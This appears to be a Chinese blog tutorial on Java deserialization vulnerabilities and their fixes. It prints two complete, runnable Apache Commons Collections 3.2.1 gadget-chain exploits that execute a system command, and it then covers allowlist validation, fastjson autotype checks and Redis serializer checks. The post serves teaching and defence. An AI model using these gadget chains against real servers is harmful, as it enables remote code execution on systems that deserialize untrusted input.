赞
踩
在运行时对用户控制的对象流进行反序列化,会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致
Denial of Service
。
Java 序列化会将对象图转换为字节流(包含对象本身和必要的元数据),以便通过字节流进行重构。开发人员可以创建自定义代码,以协助 Java 对象反序列化过程,在此期间,他们可以使用其他对象或代理替代反序列化对象。在对象重构过程中,并在对象返回至应用程序并转换为预期的类型之前,会执行自定义反序列化过程。到开发人员尝试强制执行预期的类型时,代码可能已被执行。 在必须存在于运行时类路径中且无法由攻击者注入的可序列化类中,会自定义反序列化例程,所以这些攻击的可利用性取决于应用程序环境中的可用类。令人遗憾的是,常用的第三方类,甚至 JDK 类都可以被滥用,导致 JVM 资源耗尽、部署恶意文件或运行任意代码。
示例 1:应用程序对不可信对象流进行反序列化会影响应用程序。
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
MyObject obj = (MyObject) ois.readObject();
如果可能,在没有验证对象流的内容的情况下,请勿对不可信数据进行反序列化。为了验证要进行反序列化的类,应使用前瞻反序列化模式。 对象流首先将包含类描述元数据,然后包含其成员字段的序列化字节。Java 序列化过程可以让开发人员读取类描述,并确定是继续进行对象的反序列化还是中止对象的反序列化。为此,需要在应执行类验证和确认的位置,子类化 java.io.ObjectInputStream 并提供 resolveClass(ObjectStreamClass desc) 方法的自定义实现。 已有易于使用的前瞻模式实现方式,
例如 Apache Commons IO (org.apache.commons.io.serialization.ValidatingObjectInputStream)。
始终使用严格的允许列表方法,以仅允许对预期类型进行反序列化。不建议使用拒绝列表方法,因为攻击者可以使用许多可用小工具绕过拒绝列表。此外,请谨记,尽管用于执行代码的某些类已公开,但是还可能存在其他未知或未公开的类,因此,允许列表方法始终都是首选方法。应审计允许列表中允许的任何类,以确保对其进行反序列化是安全的。 在库或框架中执行反序列化时(例如,使用 JMX、RMI、JMS、HTTP Invoker 时),上述建议并不适用,因为它超出了开发人员的控制范围。在这些情况下,您可能需要确保这些协议满足以下要求: - 未公开披露。 - 使用身份验证。 - 使用完整性检查。 - 使用加密。 此外,每当应用程序通过 ObjectInputStream 执行反序列化时,Fortify Runtime(Fortify 运行时)都会提供要强制执行的安全控制,以此同时保护应用程序代码以及库和框架代码,防止遭到此类攻击。
- 2011年开始,攻击者就开始利用反序列化问题发起攻击。
- 2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大java web server纷纷中招,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
- 2016年java中Spring与RMI集成反序列化漏洞,使成百上千台主机被远程访问。
- 2017年末,WebLogic XML反序列化引起的挖矿风波,使得反序列化漏洞再一次引起热议。
- 从2018年至今,安全研究人员陆续爆出XML、Json、Yaml、PHP、Python、.NET中也存在反序列化漏洞。据全网分析以及 shodan 扫描显示,时至今日,在全球范围内的公网上大约有 136,818 台服务器依然存在反序列化漏洞。
为什么这个漏洞影响如此之大,却依然让人防不胜防?
序列化: 将内存对象转化为可以存储以及传输的二进制字节、xml、json、yaml 等格式。
反序列化: 将虚化列存储的二进制字节、xml、json、yaml 等格式的信息重新还原转化为对象实例。
数据格式 | 序列化后的信息样例 |
---|---|
二进制 | ![]() |
|
| xml
|
|
| json
| {“name”:“ACGkaka”,“age”:20} |
| yaml
| !!com.demo.user.Person {age: 20, name: ACGkaka}\n |
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; /** * Java 对象序列化为二进制 */ public class Test { public static void main1(String[] args) { Person obj = new Person("ACGkaka", 20); try { FileOutputStream fileOut = new FileOutputStream("D:\\object.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(obj); out.close(); fileOut.close(); } catch (IOException e) { e.printStackTrace(); } } }
如果想将对象序列化为二进制格式(或者反序列化为对象),直接使用 JDK
自带的 ObjectOutputStream
的 readObject
、writeObject
方法即可。如果想与其他格式(xml、json、yaml)相互转换,一般需要引入 jackson
、snakeyaml
等其他开源组件,使用开源组件中提供的库方法。
库名称 | 序列化支持的格式 |
---|---|
jdk | 二进制、xml |
xstream | xml、json |
jackson | xml、json |
fastjson | json |
gson | json |
json-io | json |
flexson | json |
snakeyaml | yaml |
我们需要明确的一点是:Java 的序列化和反序列化本身并不存在问题,但如果 Java 应用对用户的输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,而非预期的对象在产生过程中就有可能带来任意代码执行的后果。
所以,这个问题的根源在于类 ObjectInputStream 反序列化时,没有对生成的对象类型做限制。正因如此,Java 提供的标准库及大量第三方公共类库成为反序列化漏洞利用的关键。
JDK版本: 1.8.0_60
commons-collections版本: 3.2.1(从 3.2.2 开始增加了安全校验,需要手动设置 System.setProperty(“org.apache.commons.collections.enableUnsafeSerialization”, “true”);)
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
import com.alibaba.fastjson2.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; /** * 复现反序列化漏洞(攻击链一) */ public class Test { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { // 构造利用链相关环的对象,最终目的达到命令行执行的效果(弹出计算器应用) Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chain4Obj = new ChainedTransformer(transformers); LazyMap chain3Obj = (LazyMap) LazyMap.decorate(new HashMap<>(), chain4Obj); TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey"); // 构造利用链的第一环 BadAttributeValueExpException 对象,因相关方法非public,使用反射强行设置val值 BadAttributeValueExpException chain10Obj = new BadAttributeValueExpException(null); Field valField = chain10Obj.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(chain10Obj, chain2Obj); // 使用jdk库函数将chain10Obj序列化到文件D:\hacker中 ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker")); objOut.writeObject(chain10Obj); // 使用jdk库函数将文件D:\hacker内容反序列化为对象,反序列化漏洞触发任意命令行执行 ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker")); Object object = objIn.readObject(); } }
复现成功,打开了本地计算器。
首先,反序列化漏洞利用最终目标是要能进行任意命令或者远程代码的执行。本例中,是达成了任意命令行命令的执行,即:本例中的 calc
命令。在 Java 中相当于要执行代码:
Runtime.getRuntime().exec("calc");
其中 calc 知识示例,可以换成任意其它命令。
如果作为攻击方,需要执行这条命令的话,那是不是直接把这一行代码写到 demo 程序里就行了?答案是不行的!直接写这一行代码你只能在 demo 程序中运行的时候有效果,没办法在实际反序列化的业务代码中执行的。我们需要利用反序列化过程本身会调用的方法作为入口,触发我们注入的命令执行。在 jdk 的 ObjectInputStream.readObject()
的反序列过程会调用目标反序列化对象的 readObject() 方法。攻击方需要利用该入口调用我们注入的命令。
那么作为攻击方,是不是直接定义一个对象X,在 readObject 方法里面写这一行代码(Runtime.getRuntime().exec("calc");
)就行了,为什么样例代码整的那么复杂?答案依然是不行的。这样仅能在攻击者本地执行,业务执行环境中没有X这个类的定义,会报错 ClassNotFoundException
。
所以攻击方只能利用业务本身已经加载的 jdk 以及常用开源组件中的类来构造序列化攻击连,本例中选用的攻击连的第一环为 BadAttributeValueExpException
对象。当执行反序列化时,首先会触发调用 BadAttributeValueExpException 的 readObject()
方法。
假如业务上通过黑名单的方法禁止了 BadAttributeValueExpException
类的反序列化,能防止反序列化攻击吗?答案依然是否定的。这条链禁止的,我们换一条就是了。本小节介绍另外一条 commons-collections
的经典攻击链。
JDK版本: 1.8.0_60
commons-collections版本: 3.2.1(从 3.2.2 开始增加了安全校验,需要手动设置 System.setProperty(“org.apache.commons.collections.enableUnsafeSerialization”, “true”);)
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; /** * 复现反序列化漏洞(攻击链二) */ public class Test { public static void main(String[] args) throws Exception{ // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用) Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})}; Transformer chanin5Obj = new ChainedTransformer(transformers); LazyMap chain4Obj = (LazyMap)LazyMap.decorate(new HashMap(), chanin5Obj); Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; constructor.setAccessible(true); InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, chain4Obj); Map chain2Obj = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), chain3Obj); InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.class, chain2Obj); // 使用jdk库函数将chain1Obj序列化到文件D:\hacker2中 ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker2")); objOut.writeObject(chain1Obj); // 使用jdk库函数将文件D:\hacker2内容反序列化为对象,反序列化漏洞触发任意命令行执行 ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker2")); Object object = objIn.readObject(); } }
我们可以看到,虽然报错了,但还是复现成功,打开了本地计算器。
事实上,除了 commons-collections
工具包中存在反序列化漏洞外,jackson-databind
、SnakeYaml
都存在经典的攻击链,可参考这位大佬的文章:https://zhuanlan.zhihu.com/p/654430511
上面我们看到了利用常用开源组件的多个类构建的一系列攻击链,如果仅用黑名单限制某些攻击链上类的反序列化是不够的,会有源源不断的新的攻击链被挖掘出来。所以为了让代码更受控、更安全,最好能梳理清楚业务上需要反序列化的类列表,进行白名单校验。
控制反序列化源: 反序列化的数据源如果是可以轻易地被外部用户控制,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。
白名单校验: 涉及到使用 ObjectInputStream
进行反序列化时,重写 resolveClass
方法增加白名单校验。业务代码使用重写 SecureObjectInpuStream
类进行反序列化。
注意: 自定义白名单校验的时候,需要考虑到对象中还包含哪些类型的属性,包装类也要考虑在内,否则就会被校验卡住,导致反序列化失败。
SecureObjectInputStream.java
import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; import java.io.ObjectStreamClass; /** * 白名单校验 */ public class SecureObjectInputStream extends ObjectInputStream { public SecureObjectInputStream(InputStream in) throws IOException { super(in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { // 白名单校验 if (!desc.getName().equals("com.demo.user.Person") && !desc.getName().startsWith("java.lang")) { throw new ClassNotFoundException(desc.getName() + " not found."); } return super.resolveClass(desc); } }
使用示例:
Test.java
import com.alibaba.fastjson.JSON; import org.apache.commons.io.serialization.ValidatingObjectInputStream; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class Test { /** * 序列化 */ public static void main1(String[] args) { Person obj = new Person("ACGkaka", 20); try { FileOutputStream fileOut = new FileOutputStream("D:\\object.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(obj); out.close(); fileOut.close(); } catch (IOException e) { e.printStackTrace(); } } /** * 反序列化 */ public static void main(String[] args) throws Exception { ValidatingObjectInputStream vois = new ValidatingObjectInputStream(new FileInputStream("D:\\object.bin")); vois.accept(Person.class); vois.accept("java.lang.*"); Object object = vois.readObject(); System.out.printf(JSON.toJSONString(object)); } }
Person.java
package com.demo.user; import lombok.AllArgsConstructor; import lombok.Data; import java.io.Serializable; @Data @AllArgsConstructor public class Person implements Serializable { /** * 姓名 */ private String name; /** * 年龄 */ private Integer age; }
正常反序列化,执行结果:
利用攻击链1,执行结果:
利用攻击链2,执行结果:
在 commons-io
中有带有 ValidatingObjectInputStream
工具类,专门用于过滤反序列化校验。
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.14.0</version>
</dependency>
使用示例:
import com.alibaba.fastjson.JSON;
import org.apache.commons.io.serialization.ValidatingObjectInputStream;
import java.io.FileInputStream;
public static void main(String[] args) throws Exception {
ValidatingObjectInputStream vois = new ValidatingObjectInputStream(new FileInputStream("D:\\object.bin"));
// 可以多次添加校验内容,只要满足其中一个就会正常反序列化。
vois.accept(Person.class);
vois.accept("java.lang.*");
Object object = vois.readObject();
System.out.printf(JSON.toJSONString(object));
}
正常反序列化,执行结果:
利用攻击链1,执行结果:
利用攻击链2,执行结果:
可以看到,两种方式都在保证正常序列化的情况下,完整了漏洞的白名单校验,漏洞修复。
import com.alibaba.fastjson.JSONObject; import org.springframework.data.redis.connection.Message; import org.springframework.data.redis.connection.MessageListener; import org.springframework.stereotype.Component; @Component public class MyMessageListener implements MessageListener { @Override public void onMessage(Message message, byte[] pattern) { String body = message.toString(); // 漏洞位置 JSONObject jsonObject = JSONObject.parseObject(body); ... } }
1.2.24及以前版本就跟白纸一样随便调用方法,在1.2.25开始加入了黑白名单机制。
我们继续用1.2.24的payload(这里用TemplatesImpl的payload)去打,会发现报错autotype不支持:
究其原因,是因为在com.alibaba.fastjson.parser.ParserConfig 加入了CheckAutoType方法:
com.alibaba.fastjson.parser.ParserConfig !public Class<?> checkAutoType(String typeName, Class<?> expectClass)
在其中有个autotypesupport属性,如果为false,那么就会检测json中@type的值 开头是否与黑名单中的值一样,若一样就直接返回一个异常,然后加载白名单中的类
if (!autoTypeSupport) { \\黑名单检测,classname是传入类的全名,denyList是黑名单 for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } }
黑名单长这样:
若autotypesupport开启,则会先白名单加载,后黑名单检测
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
后面的许多更新都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复,以及黑名单的不断增加。
如何开启autotypesupport?只需在json被解析前加入如下代码即可:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
import lombok.extern.slf4j.Slf4j; import org.springframework.data.redis.connection.Message; import org.springframework.data.redis.connection.MessageListener; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.stereotype.Component; import javax.annotation.Resource; @Slf4j @Component public class MyMessageListener implements MessageListener { @Resource private RedisTemplate<String, Object> redisTemplate; @Override public void onMessage(Message message, byte[] pattern) { byte[] body = message.getBody(); // 漏洞位置 String value = (String) redisTemplate.getValueSerializer().deserialize(body); ... } }
Redis 的序列化和反序列化一般自定义可以分为两种:
RedisStringSerializer
:对 String 类型数据进行序列化和反序列化;RedisObjectSerializer
:对其他 Object 类型数据进行序列化和反序列化。我们可以根据具体情况来进行修复:
if (String.class.equals(redisTemplate.getStringSerializer().getTargetType())
)。if (T.class.equals(redisTemplate.getValueSerializer().getTargetType()))
)。下面是普通 String 类型传输的校验示例:
import lombok.extern.slf4j.Slf4j; import org.springframework.data.redis.connection.Message; import org.springframework.data.redis.connection.MessageListener; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.stereotype.Component; import javax.annotation.Resource; @Slf4j @Component public class MyMessageListener implements MessageListener { @Resource private RedisTemplate<String, Object> redisTemplate; @Override public void onMessage(Message message, byte[] pattern) { byte[] body = message.getBody(); // 增加反序列化名单校验 Class<?> targetType = redisTemplate.getStringSerializer().getTargetType(); if (!String.class.equals(targetType)) { log.error("类型错误,反序列化对象失败,targetType: {}", targetType); throw new RuntimeException("类型错误,反序列化对象失败"); } String value = redisTemplate.getValueSerializer().deserialize(body); // 如果还需要解析JSON,则配合FastJSON的校验即可。 ... } }
整理完毕,完结撒花~ 声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。